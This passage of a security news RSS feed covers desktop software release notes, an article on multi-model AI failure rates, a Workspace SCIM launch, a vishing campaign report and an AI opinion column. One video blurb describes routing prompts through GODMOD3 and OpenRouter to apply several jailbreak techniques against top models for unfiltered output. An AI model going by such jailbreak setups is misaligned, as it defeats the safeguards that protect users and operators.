Orbitiny's File Manager (Qutiny): Fixed a file deletion bug when a large selection of files are selected – sometimes Qutiny would freeze or crash.</li> <li><strong>BugFix</strong>: Fixed a long standing issue with the custom context menus. When showing nested sub-popup menus (leading from one popup to another and to another and so on), the ones previously shown were getting hidden and they should not have.</li> <li><strong>BugFix</strong>: Fixed a SysTray bug when the SysTray is in the form of a button which in this case you need to click the button to show it in a popup window – sometimes this did not work and the only way to fix it is to restart the panel or change its setup so that the application icons it houses line up along the panel. Anyway, I created this button mode to save space on the panel.</li> <li><strong>BugFix</strong>: Fixed an issue related to desktop icons themes. Setting a new desktop icon background was not working.</li> <li><strong>BugFix</strong>: Drawer Menu – when rearranging items via Drag&amp;Drop, the commands assigned to items get mixed up.</li> <li><strong>BugFix</strong>: Quick Launch Applet: Sometimes clicking the side button (the button showing hidden) items would launch the command assigned to the button right next to it.</li> <li><strong>BugFix</strong>: Fixed middle click command not working in Drawer.</li> <li><strong>BugFix</strong>: Fixed a crash with renaming panel themes</li> <li><strong>BugFix</strong>: Bookmarks + Drawer Menu Applets – Fixed Drag&amp;Drop issues that occur only when the menu had scrolled. When so, it was failing to obtain the dragged item’s position index.</li> <li><strong>BugFix</strong>: Quitny – Fixed a bug with copying empty directories (it wasn’t working).</li> <li><strong>BugFix</strong>: Quitny – Fixed a bug with “Copy To” function – it was moving files instead.</li> <li><strong>BugFix</strong>: Many panel bug fixes...The panel is getting better and better with each and every release.</li> </ul> <p>What does the future hold for this project? Well, I need my own compositing window manager which, thus far, I don't have and developing one will take me <em>a very long time</em> because I am the only one working on the project. To speed things up, my plan is to potentially port KWin and make it play along with Orbitiny.</p> <p>Moreover, I intend to make it portable so that you won't have to install it in order to use it with Orbitiny. The way will work is like this. If you launch Orbitiny Desktop in portable mode, KWin will not launch. Instead, Orbitiny Desktop will make use of the existing window manager (like it does already).</p> <p><em>However</em>, if you launch Orbitiny Desktop as a standalone desktop, one that you select from the Display Manger menu, then, KWin will launch because it needs a window manager.</p> <p>I have had partial success with this (it <em>almost</em> works) so if you are a Qt developer and want to give me a hand with this (which I need btw), then message me and I will let you know how you can help. If not, I will do what I can and regrading a time frame, it will take as long as it will...</p> <p>I will also be doing some testing with RiverWM. Based on its description, it appears like it acts a bit like X11 so if I am to port Orbitiny Desktop to a Wayland compositor, it will be RiverWM. I will need help with this one too. If I don't get any assistance at all, then, I will stick with X11 only.</p> <p><em>It is just too much work to handle all this entire project on my own if I am to support Wayland too. I am sorry, but it is what it is.</em></p> <p>I can manage the X11 portion on my own, not a problem but working on Wayland adds an extra burden on my back.</p> <p>Anyway, regardless the outcome, Orbitiny's playground is and <em>always will be X11</em> and support for Wayland (if I ever get it to work) <em>will be complementary only</em>.</p> <p><strong>Website</strong>: <a href="https://orbitiny.com/">https://orbitiny.com/</a></p> <p><strong>Source Code</strong>: <a href="https://gitea.com/sasko.usinov/orbitiny-desktop">https://gitea.com/sasko.usinov/orbitiny-desktop</a> (PIlot X code will be available within 24 hours of this post)</p> <p><strong>Download</strong>: <a href="https://sourceforge.net/projects/orbitiny-desktop/">https://sourceforge.net/projects/orbitiny-desktop/</a></p> <p><strong>Reddit</strong>: <a href="https://www.reddit.com/r/Orbitiny/">https://www.reddit.com/r/Orbitiny/</a></p> <p><strong>YouTube</strong>: <a href="https://www.youtube.com/@Orbitiny-Linux">https://www.youtube.com/@Orbitiny-Linux</a> (Note, I haven't uploaded any new videos so the videos as at July 10, 2026 are old).</p> <p>Well, I hope I've covered it all and should you find something not working, please let me know.</p> <p>P.S. This is 100% manually coded and it has been since 2017. There is no AI/Vibe/LLM or call it all you want.</p> <p>Thanks</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/sash-au"> /u/sash-au </a> <br> <span><a href="https://i.redd.it/xvhyitjo88ch1.jpeg">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1urvmv2/orbitiny_desktop_pilot_x_released_the_most/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Enterprises using multiple AI models are underestimating failure rates by 2.25x]]></title>
<description><![CDATA[A team routing queries across a coding specialist, a logic specialist, and a generalist model assumes each will cover the others' blind spots. A new study evaluating 67 frontier models from 21 providers shows that assumption is mathematically flawed — and the flaw has a name: the co-failure ceili...]]></description>
<link>https://tsecurity.de/de/3658055/it-nachrichten/enterprises-using-multiple-ai-models-are-underestimating-failure-rates-by-225x/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658055/it-nachrichten/enterprises-using-multiple-ai-models-are-underestimating-failure-rates-by-225x/</guid>
<pubDate>Thu, 09 Jul 2026 21:02:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A team routing queries across a coding specialist, a logic specialist, and a generalist model assumes each will cover the others' blind spots. <a href="https://arxiv.org/abs/2606.27288">A new study</a> evaluating 67 frontier models from 21 providers shows that assumption is mathematically flawed — and the flaw has a name: the co-failure ceiling.</p><p>The assumption works like this: as long as two models don't usually fail on the exact same prompts, combining them is supposed to create a safety net against failures.</p><p>The real limit on orchestration is not how often models disagree, but the percentage of prompts where every model in the pool gives the wrong answer at once. By ignoring the co-failure ceiling, enterprises are building complex, expensive routing infrastructure to chase performance gains that do not exist. Fortunately, developers can use this same math to build a cost-free test that determines exactly when multi-model orchestration will actually pay off.</p><h2>The hidden costs of the multi-model strategy</h2><p>To orchestrate multiple language models, developers typically rely on three architectures. <a href="https://venturebeat.com/technology/new-1-5b-router-model-achieves-93-accuracy-without-costly-retraining">Model routers</a> act as traffic cops, sending complex queries to expensive models and simple queries to cheaper ones. Cascades send every prompt to a cheap model first, only escalating to a premium model if the initial system signals low confidence. Finally, approaches like <a href="https://bdtechtalks.com/2025/02/17/llm-ensembels-mixture-of-agents/">Mixture-of-Agents</a> (MoA) fuse multiple models by asking them the same question and generating a synthesized answer from their combined outputs.</p><p>These architectures introduce a "shadow price" to inference costs. Every time a development team implements a router or a cascade, they pay a premium in added system latency, complex infrastructure maintenance, and increased governance risks across multiple API providers.</p><p>To justify these operational costs, engineers rely on “pairwise error correlation” to select their model pool. Imagine a developer has Model A, which writes excellent Python but fails at SQL, and Model B, which writes excellent SQL but fails at Python. Because they fail on different types of prompts, their pairwise error correlation is low. The developer assumes that by placing a routing layer in front of them, they have created a composite system that rarely fails at coding.</p><p>According to the study, throwing diverse models together based on low correlation can actually hurt performance if the models are not equally capable — when you vote across diverse but unequal models, the weaker ones often gang up and outvote the smartest one.</p><p>Josef Chen, author of the paper, told VentureBeat that in their experiments, "Naive majority voting across unequal models had negative mean gain (minus 10 points on our hard mix): diverse-but-weaker members outvote the strong one." The actionable advice for developers is to "combine only models within a matched quality band." If you cannot match quality, take the single-model baseline and spend your budget on the best model available.</p><p>The paper provides one bright spot for this approach regarding MoA architectures. When building ensembles, teams often use "Self-MoA," where they query the same premium model multiple times to generate a synthesized answer. The researchers found that at matched quality, building a diverse ensemble of models with low pairwise correlation beats a high-correlation Self-MoA setup.</p><p>However, when teams use that same pairwise correlation metric to predict the absolute accuracy of their overall system, the math breaks down.</p><p>"So teams pay the orchestration overhead up front (latency, complexity, multi-provider operations) on the assumption that a diversity dividend arrives later," Chen said. "Usually it doesn't, because today's best models agree, and, worse, they fail on the same queries … the prompt simply carries little signal about which model will be the one that's right when the frontier disagrees."</p><h2>Why the math fails: the co-failure ceiling</h2><p>The core finding of the study centers on a metric called the "co-failure rate" — the formal name for the all-wrong scenario described above. No router, voting system, or cascade can ever achieve an accuracy higher than the ceiling it imposes.</p><p>The coding, logic, and generalist pool shows low pairwise correlation on routine prompts — they rarely fail together. But the co-failure ceiling represents the obscure, highly complex edge case that pushes past the limits of current AI architectures. If a prompt is so difficult that all three models hallucinate or fail, it does not matter how intelligently the router distributes the task. The entire pool wipes out at once.</p><p>The researchers tested their 67-model pool, which included GPT-5.5, Claude Opus 4.8, and Gemini 3.1 Pro, on the open-ended MATH-500 math benchmark. Based on standard pairwise correlation, statistical models predicted that the entire pool would wipe out simultaneously on only 2.3% of the questions. In reality, the co-failure rate was 5.2%.</p><p>Standard correlation metrics underestimated the failure rate by roughly 2.25 times. The culprit is not just independent difficulty, but a shared failure point.</p><p>"The driver is what we call a common-mode atom: a slice of queries on which the entire market fails together, which no pairwise statistic can see," Chen said. "Adding a 20th model to your pool doesn't buy tail coverage. The tail is shared."</p><p>The researchers also found that task format directly triggers co-failure. When they took graduate-level science questions from the GPQA benchmark and changed them from multiple-choice to free-response formats, the all-wrong tail expanded to 12.7%.</p><p>Developers can engineer around the ceiling, though. "The engineering implication is uncomfortable: multi-model setups buy the least exactly where teams want them most, on open-ended generation," Chen said. "Anywhere you can convert generation into verification or constrained selection (structured outputs, checkable answers, execution tests), you reopen the ceiling."</p><p>Ultimately, the researchers found this ceiling limits AI applications in two distinct ways, depending on the domain:</p><ul><li><p><b>Ceiling-bound environments (e.g., open-ended math):</b> The co-failure rate is high. The task is too hard, and all models fail simultaneously. No amount of routing can bypass the lack of underlying capability.</p></li><li><p><b>Realizability-bound environments (e.g., graduate-level science):</b> The co-failure rate is near zero, meaning at least one model in the pool usually knows the answer. However, the models disagree so subtly that a routing layer cannot reliably pick the correct answer without an omniscient oracle.</p></li></ul><h2>The $0 pre-deployment sanity check</h2><p>Before dedicating engineering hours to building a router, teams can calculate their absolute performance ceiling for free using a mathematical formula called a Clopper-Pearson bound.</p><p>The Clopper-Pearson bound operates as a worst-case scenario calculator. If you flip a coin ten times and get eight heads, you cannot guarantee the coin will land on heads 80% of the time forever. The bound takes a small sample of test questions and outputs a mathematically guaranteed ceiling.</p><p>Applied to language models, suppose a team tests a pool of five agents on 50 sample queries and finds they all fail together on just two questions. A developer might assume their multi-agent system will achieve 96% accuracy in production. The Clopper-Pearson formula corrects this optimism. It analyzes the small sample size and provides a mathematical guarantee that the true co-failure rate could actually be as high as 12%.</p><p>To use this in practice, enterprises must build a held-out dataset. A fintech company, for example, could take 200 complex customer support tickets from the previous quarter and have human agents write perfect resolutions to serve as a benchmark. While this sounds like a heavy manual project, mature engineering teams can automate the entire ceiling calculation.</p><p>"Integration is trivial: it's a counting job over eval logs teams already produce," Chen notes, "so it runs in the same CI stage as the eval suite and re-triggers whenever the model pool or the workload changes."</p><p>The engineering team then runs its candidate models against these 200 tickets once and records the results. When they want to evaluate multi-model configurations, they can use the co-failure rate measure to predict the maximum accuracy they can get from the system without running extra queries.</p><p>One important conclusion the study draws is that on tasks where answers can be definitively checked, combining models rarely beats using the single best model on the market, unless the team possesses an exceptionally strong query-level routing signal.</p><p>In an enterprise environment, a definitively checked task has an objective, zero-tolerance answer. This includes generating a SQL query that must execute without error, extracting a specific invoice total from a 50-page PDF, or formatting a JSON payload that perfectly matches a strict schema. For these tasks, enterprises are usually better off paying a premium for the smartest frontier model rather than weaving together three cheaper models and hoping a router picks the correct output. The study didn't test subjective, ungraded tasks like drafting marketing copy — the authors note that whether these findings hold outside their verifiable benchmarks remains an open question.</p><p>Because this mathematical check is free, enterprise teams can track their own co-failure rates as new models drop.</p><p>"The measurement costs nothing, so any team can track its own co-failure rate across model generations and watch whether the tail is closing," says Chen. Ultimately, "the lever buyers hold is failure-mode heterogeneity and market churn, not model count."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Streamline identity lifecycle management in Google Workspace with new inbound SCIM support]]></title>
<description><![CDATA[We are excited to announce the general availability of Google Workspace inbound SCIM APIs to help IT administrators standardize identity lifecycle management. This new capability allows you to sync your Google Workspace directory in real time with any SCIM-compatible Identity Provider (IdP), HR s...]]></description>
<link>https://tsecurity.de/de/3657918/web-tipps/streamline-identity-lifecycle-management-in-google-workspace-with-new-inbound-scim-support/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657918/web-tipps/streamline-identity-lifecycle-management-in-google-workspace-with-new-inbound-scim-support/</guid>
<pubDate>Thu, 09 Jul 2026 19:57:18 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We are excited to announce the general availability of Google Workspace inbound SCIM APIs to help IT administrators standardize identity lifecycle management. This new capability allows you to sync your Google Workspace directory in real time with any SCIM-compatible Identity Provider (IdP), HR system (HRIS), or custom application.</p><p>With inbound SCIM, when a Workspace end user’s account permissions are changed via their organization’s IdP, their access to Workspace data and any downstream apps, such as Gemini Enterprise, will also be updated in real time. Previously, customers would need to build custom integrations using Google directory APIs.</p><h4>SCIM overview</h4><p><a href="https://datatracker.ietf.org/doc/html/rfc7644" target="_blank">System for Cross-domain Identity Management (SCIM)</a> is an open protocol that synchronizes directory information between identity systems. With inbound SCIM, Google Workspace acts as a SCIM Service Provider, enabling compatible Identity Providers (IdPs) to automatically provision, update, and deactivate users and groups in real time.</p><p>Inbound SCIM offers:</p><p></p><ul><li><b>Automated lifecycle management:</b> IT teams no longer need to manually create user accounts or update details for Workspace, saving significant time and costs.</li><li><b>Seamless onboarding and day-one productivity: </b>New employees have access to all Workspace productivity tools the moment they start, creating a frictionless onboarding experience.</li><li><b>Enhanced security with instant deprovisioning:</b> When an employee leaves your organization or changes roles, SCIM instantly pushes an update request to Workspace. This eliminates the security risks associated with orphaned accounts and makes compliance audits significantly easier.</li><li><b>Simplified admin experience: </b>Inbound SCIM offers a one-click token generation experience and admin controls to lock synced groups from your external source to prevent manual changes in Workspace that would conflict with your identity provider.</li></ul><p></p><h3>Getting started</h3><p></p><ul><li><b>Admins:</b> This feature will be available by default and can be disabled/enabled at the domain level. Visit the Help Center to <a href="https://knowledge.workspace.google.com/p/inbound-scim-get-started" target="_blank">learn more</a>.</li><li><b>End users:</b> This is an admin-facing feature only.</li></ul><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container"><tbody><tr><td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRZjai4_pLmCws0nWKBWlLywUvyRalsT4yyEV6_GSYqwkR5jrbfa8rpLBHLbr4re21HMpT7_XfwG6eChYUajgjut0j8H8Xl07KZt9uwfaPKBSgInml5Tnn578THOdx2Lc5NCMGfpMYV3GMNRAzOv5i8XFZiIxIikAN1Vi7kAHbxfXfMyyvVH7P7bQzRJU/s2048/Streamline%20identity%20lifecycle%20management%20in%20Google%20Workspace%20with%20new%20inbound%20SCIM%20support%20-%205487%20-%201.png"><img border="0" data-original-height="1069" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRZjai4_pLmCws0nWKBWlLywUvyRalsT4yyEV6_GSYqwkR5jrbfa8rpLBHLbr4re21HMpT7_XfwG6eChYUajgjut0j8H8Xl07KZt9uwfaPKBSgInml5Tnn578THOdx2Lc5NCMGfpMYV3GMNRAzOv5i8XFZiIxIikAN1Vi7kAHbxfXfMyyvVH7P7bQzRJU/s1600/Streamline%20identity%20lifecycle%20management%20in%20Google%20Workspace%20with%20new%20inbound%20SCIM%20support%20-%205487%20-%201.png"></a></td></tr><tr><td class="tr-caption"><br>The Manage external directories page in the Admin console showing Inbound SCIM setup</td></tr></tbody></table><br><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container"><tbody><tr><td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp6yBrKUNP4VItoiOzn3aqXKvK5DMZUUdktjv7WK7HKWX4RdW6uyOWmSpawZWY1g1QY7OqTaAY63rffFAS-xsaOkkLntcQJSAzSw4_MBLX8tfchDslnLp5R9EKZs6_rVyBdlhsqevptpD11ampHlkkQzD8c6flzbTbxzmP8aodyCS_6eLKDgPem_6JRSo/s2048/Streamline%20identity%20lifecycle%20management%20in%20Google%20Workspace%20with%20new%20inbound%20SCIM%20support%20-%205487%20-%202.png"><img border="0" data-original-height="1261" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp6yBrKUNP4VItoiOzn3aqXKvK5DMZUUdktjv7WK7HKWX4RdW6uyOWmSpawZWY1g1QY7OqTaAY63rffFAS-xsaOkkLntcQJSAzSw4_MBLX8tfchDslnLp5R9EKZs6_rVyBdlhsqevptpD11ampHlkkQzD8c6flzbTbxzmP8aodyCS_6eLKDgPem_6JRSo/s1600/Streamline%20identity%20lifecycle%20management%20in%20Google%20Workspace%20with%20new%20inbound%20SCIM%20support%20-%205487%20-%202.png"></a></td></tr><tr><td class="tr-caption"><br>Configure a new Inbound SCIM connection with external IdP</td></tr></tbody></table><p></p><h3>Rollout pace</h3><p></p><ul><li><a href="https://knowledge.workspace.google.com/admin/releases/choose-when-users-get-new-features?visit_id=639180233279592651-2438693000&amp;rd=1" target="_blank">Rapid Release and Scheduled Release domains:</a> Gradual rollout (up to 15 days for feature visibility) starting July 9, 2026</li></ul><p></p><h3>Availability</h3><p></p><ul><li><b>Business: </b>Business Starter, Standard, and Plus</li><li><b>Enterprise:</b> Enterprise Starter, Standard, and Plus</li></ul><p></p><h3>Resources</h3><p></p><ul><li>Google Workspace Admin Help: <a href="https://knowledge.workspace.google.com/p/inbound-scim-get-started" target="_blank">Get started with Inbound SCIM</a></li></ul><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Endlich kabelfrei zocken: Diese Soundbar revolutioniert dein Gaming-Setup]]></title>
<description><![CDATA[Für druckvollen Klang und RGB-Atmosphäre reicht schon eine kompakte Leiste unter dem Bildschirm.]]></description>
<link>https://tsecurity.de/de/3657458/it-nachrichten/endlich-kabelfrei-zocken-diese-soundbar-revolutioniert-dein-gaming-setup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657458/it-nachrichten/endlich-kabelfrei-zocken-diese-soundbar-revolutioniert-dein-gaming-setup/</guid>
<pubDate>Thu, 09 Jul 2026 17:02:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Für druckvollen Klang und RGB-Atmosphäre reicht schon eine kompakte Leiste unter dem Bildschirm.]]></content:encoded>
</item>
<item>
<title><![CDATA[Extortion crew hijacks Microsoft 365 accounts via fake passkey setup]]></title>
<description><![CDATA[The Pink cyber extortion crew is tricking employees into giving them access to their Microsoft 365 accounts by faking Entra passkey enrollment requests. The attack The attack starts with a vishing call to an employee. The caller poses as IT and says it’s time to set up a passkey. Everything after...]]></description>
<link>https://tsecurity.de/de/3657396/it-security-nachrichten/extortion-crew-hijacks-microsoft-365-accounts-via-fake-passkey-setup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657396/it-security-nachrichten/extortion-crew-hijacks-microsoft-365-accounts-via-fake-passkey-setup/</guid>
<pubDate>Thu, 09 Jul 2026 16:37:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Pink cyber extortion crew is tricking employees into giving them access to their Microsoft 365 accounts by faking Entra passkey enrollment requests. The attack The attack starts with a vishing call to an employee. The caller poses as IT and says it’s time to set up a passkey. Everything after that is theater, built to keep the victim occupied while the attacker finalizes everything. The attackers instruct the target to visit a subdomain that … <a href="https://www.helpnetsecurity.com/2026/07/09/microsoft-365-fake-passkey-setup-enrollment/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/09/microsoft-365-fake-passkey-setup-enrollment/">Extortion crew hijacks Microsoft 365 accounts via fake passkey setup</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Extortion crew hijacks Microsoft 365 accounts via fake passkey setup]]></title>
<description><![CDATA[The Pink cyber extortion crew is tricking employees into giving them access to their Microsoft 365 accounts by faking Entra passkey enrollment requests. The attack The attack starts with a vishing call to an employee. The caller poses as IT…
Read more →
The post Extortion crew hijacks Microsoft 3...]]></description>
<link>https://tsecurity.de/de/3657390/it-security-nachrichten/extortion-crew-hijacks-microsoft-365-accounts-via-fake-passkey-setup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657390/it-security-nachrichten/extortion-crew-hijacks-microsoft-365-accounts-via-fake-passkey-setup/</guid>
<pubDate>Thu, 09 Jul 2026 16:37:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Pink cyber extortion crew is tricking employees into giving them access to their Microsoft 365 accounts by faking Entra passkey enrollment requests. The attack The attack starts with a vishing call to an employee. The caller poses as IT…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/extortion-crew-hijacks-microsoft-365-accounts-via-fake-passkey-setup/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/extortion-crew-hijacks-microsoft-365-accounts-via-fake-passkey-setup/">Extortion crew hijacks Microsoft 365 accounts via fake passkey setup</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How secure is this configuration?]]></title>
<description><![CDATA[I use an iPhone secured with a 20 character alphanumeric passcode. For password management, I use a KeePass 2 (v4) database configured with Argon2id using the following settings: Memory: 64 MB Iterations: 4,080 Parallelism: 32 The KeePass database is protected by a password that is more than 50 c...]]></description>
<link>https://tsecurity.de/de/3657132/it-security-nachrichten/how-secure-is-this-configuration/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657132/it-security-nachrichten/how-secure-is-this-configuration/</guid>
<pubDate>Thu, 09 Jul 2026 15:08:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I use an iPhone secured with a 20 character alphanumeric passcode.<br> For password management, I use a KeePass 2 (v4) database configured with Argon2id using the following settings:<br> Memory: 64 MB<br> Iterations: 4,080<br> Parallelism: 32<br> The KeePass database is protected by a password that is more than 50 characters long. In addition, opening the database requires a key file. I store the key file alongside the database file, but I also keep four additional decoy key files in the same location.<br> How secure is this overall setup? At what stage of quantum computing development should I begin to worry about its impact on this kind of security?</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Resident-Ice-251"> /u/Resident-Ice-251 </a> <br> <span><a href="https://www.reddit.com/r/security/comments/1urb7yr/how_secure_is_this_configuration/">[link]</a></span>   <span><a href="https://www.reddit.com/r/security/comments/1urb7yr/how_secure_is_this_configuration/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mass AI Jailbreak Description]]></title>
<description><![CDATA[Author: zSecurity - Bewertung: 39x - Views:285 By routing prompts through GODMOD3 and the OpenRouter API, you can simultaneously apply multiple jailbreak techniques against top models to generate unfiltered payloads. Paired with a mobile UI like Ultraplinian, it becomes a highly practical setup f...]]></description>
<link>https://tsecurity.de/de/3656699/videos/mass-ai-jailbreak-description/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656699/videos/mass-ai-jailbreak-description/</guid>
<pubDate>Thu, 09 Jul 2026 12:32:24 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: zSecurity - Bewertung: 39x - Views:285 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/gvF8G_ZR21w?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>By routing prompts through GODMOD3 and the OpenRouter API, you can simultaneously apply multiple jailbreak techniques against top models to generate unfiltered payloads. Paired with a mobile UI like Ultraplinian, it becomes a highly practical setup for on-the-go offensive security research.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The next killer AI feature? No AI at all]]></title>
<description><![CDATA[Chatting with readers and regular folks in the real world these days, I can’t help but notice a common theme anytime the topic of AI comes up.



It’s an almost amusingly extreme contrast: While the myopic world of tech people (and the type of mostly AI-powered “thought leaders” you see posting i...]]></description>
<link>https://tsecurity.de/de/3656555/ai-nachrichten/the-next-killer-ai-feature-no-ai-at-all/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656555/ai-nachrichten/the-next-killer-ai-feature-no-ai-at-all/</guid>
<pubDate>Thu, 09 Jul 2026 11:48:21 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Chatting with readers and regular folks in the real world these days, I can’t help but notice a common theme anytime the topic of AI comes up.</p>



<p>It’s an almost amusingly extreme contrast: While the myopic world of tech people (and the type of mostly AI-powered “thought leaders” you see posting in turbo-speed on LinkedIn) are waxing endlessly about AI’s amazing impact on society and all the ways it’s, like, <em>totally</em> <em>revolutionizing workflow, bruh</em>, the average human’s take on AI can best be summed up with a single word:</p>



<p>Exasperation.</p>



<p>With shockingly little exception, almost every non-tech-obsessed organism I interact with reacts with something between an eye-rolling sigh and a fed-up facepalm whenever the prevalence of AI arises. It’s almost like having an on-demand in-person GIF gallery of “frustration” available at your fingertips — just mention AI, and you’ll get a meme-worthy reaction from anyone around you.</p>



<p>It’s such a dramatic divergence from the glowingly excited hype we hear left and right from the tech industry itself and the seemingly small but vocal group of overly enthusiastic evangelists who create an echo chamber around it. And that very contrast and the disparity between what tech companies are giving us and what tech users actually <em>want</em> these days led me to a bit of an epiphany this week: </p>



<p>AI may well be creating a killer feature that people will be willing to pay to possess. It’s just not the one most AI-fixated entities are focused on creating — quite the opposite, in fact.</p>



<p><strong>[Get level-headed knowledge in your inbox with </strong><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>my free Android Intelligence newsletter</strong></a><strong> — practical tech talk by humans, for humans.]</strong></p>



<h2 class="wp-block-heading"><strong>The AI availability irony</strong></h2>



<p>I’ve said it before, and I’ll say it again: In many ways, Gemini — Google’s generative AI chatbot and overall AI layer — <a href="https://www.computerworld.com/article/2117752/google-gemini-ai.html">is the new Google+</a>.</p>



<p>It’s a solution in search of a problem. No one is asking for it and most typical tech users increasingly seem to find its presence actively irksome and invasive — and yet Google continues to insist on shoving it into our faces at every possible opportunity. More and more with every passing week, the company’s adding AI elements into almost every app and service regardless of whether they’re actually helpful in that context. In many cases, in fact, they’re unnecessary, useless, even <a href="https://www.computerworld.com/article/4182583/ai-creepy-era.html">outright creepy</a> and <a href="https://www.computerworld.com/article/3990497/google-gemini-deceit.html">creating very real problems and liabilities</a> for businesses and individuals alike.</p>



<p>It’s not just Google, of course. The same tale is taking place with practically every tech provider big and small right now. Everyone is cramming AI into every nook and cranny and thinking more about the <em>idea</em> of integrating artificial intelligence — mostly just for the sake of having it there — than creating an optimal experience for the people who actually use said services.</p>



<p>That, in turn, is creating a whole new category of productivity experience that people are actually lining up to pay for — a premium feature of sorts, related to AI and its presence in our lives.</p>



<p>Ready for the most delicious irony of all? The killer AI feature of which we speak is a <em>lack</em> of AI — or at least the ability to disable and avoid it and use it only if and when <em>you</em> want.</p>



<p>It’s not just an anecdotal feeling, either. It’s a measurable trend that may still be in its infancy but is absolutely taking shape around us.</p>



<p>Take, for instance, <a href="https://kagi.com/">Kagi</a> — an ad-free, privacy-centric search service that’s been quietly <a href="https://www.fastcompany.com/91268933/google-alternatives-kagi" target="_blank" rel="noreferrer noopener">building a viable alternative to Google Search</a> for several years already. The proposition is simple: You pay <a href="https://kagi.com/pricing" target="_blank" rel="noreferrer noopener">a monthly fee</a> — five bucks a month for limited use or $10 for unlimited searching — and you get a search engine that’s designed to serve <em>you</em> instead of revolving around the interest of both advertisers and corporate AI initiatives.</p>



<p>The Kagi search experience is clean, simple, and effective — and, most notably for our current conversation, free from all the <a href="https://www.computerworld.com/article/1618297/google-bard-chatgpt-bing-ai-chatbot-search.html">often accuracy-challenged</a> AI-generated “answers” that are now plastered atop most Google searches. You just get the results you want, without any experience-harming interruptions or distractions — because <em>you’re</em> paying for the service. Those five or 10 smackeroos you send over each month restructure the entire relationship and ultimately change everything about the service’s trajectory.</p>



<p>When I wrote a profile piece about Kagi last February, the service <a href="https://www.fastcompany.com/91268933/google-alternatives-kagi#:~:text=Kagi%20boasts%2038%2C000%20paying%20subscribers" target="_blank" rel="noreferrer noopener">boasted 38,000 paying subscribers</a>. Today, according to <a href="https://kagi.com/stats" target="_blank" rel="noreferrer noopener">Kagi’s public stats page</a>, its subscriber base has nearly doubled — to 72,847 users, as of this writing.</p>



<p>It may still be a drop in the bucket — and it may <em>always</em> be a niche demand, in the grand scheme of the global tech picture — but it represents a rapidly growing demand. And Kagi isn’t the only player seeing both the demand and the resulting opportunity. Practically every time Google pushes AI further into its search setup, the privacy-focused (and AI-optional) search provider DuckDuckGo <a href="https://www.fastcompany.com/91548936/google-alternative-ai-free-search-results-surge-in-usage" target="_blank" rel="noreferrer noopener">reports a surge in <em>its</em> adoption</a> as well.</p>



<p>And search isn’t the only arena where this same sentiment is starting to boil over. I hear constantly from folks who are growing ever-more frustrated with all the unavoidable AI integration in other productivity tools, ranging from email to notes and even just plain ol’ document writing. Heck, I <a href="https://www.computerworld.com/article/4185219/oh-behave-how-gemini-can-reshape-the-web-for-the-way-you-work.html#:~:text=Custom%20extension%20category%20%231%3A%20The%20interface%20fixer">created my own custom interface for Google Docs on the desktop</a> (<a href="https://www.computerworld.com/article/4185219/oh-behave-how-gemini-can-reshape-the-web-for-the-way-you-work.html">with the help of Gemini</a>, in another delightfully ironically twist) just to escape from all the over-the-top noise Google keeps adding into that environment. It’s a nerdy hack, to be sure — and it’s an opportunity for someone crafty to come in and create an <em>actual</em> solution, in the style of what Kagi has done with search, to more effectively address that same underlying desire.</p>



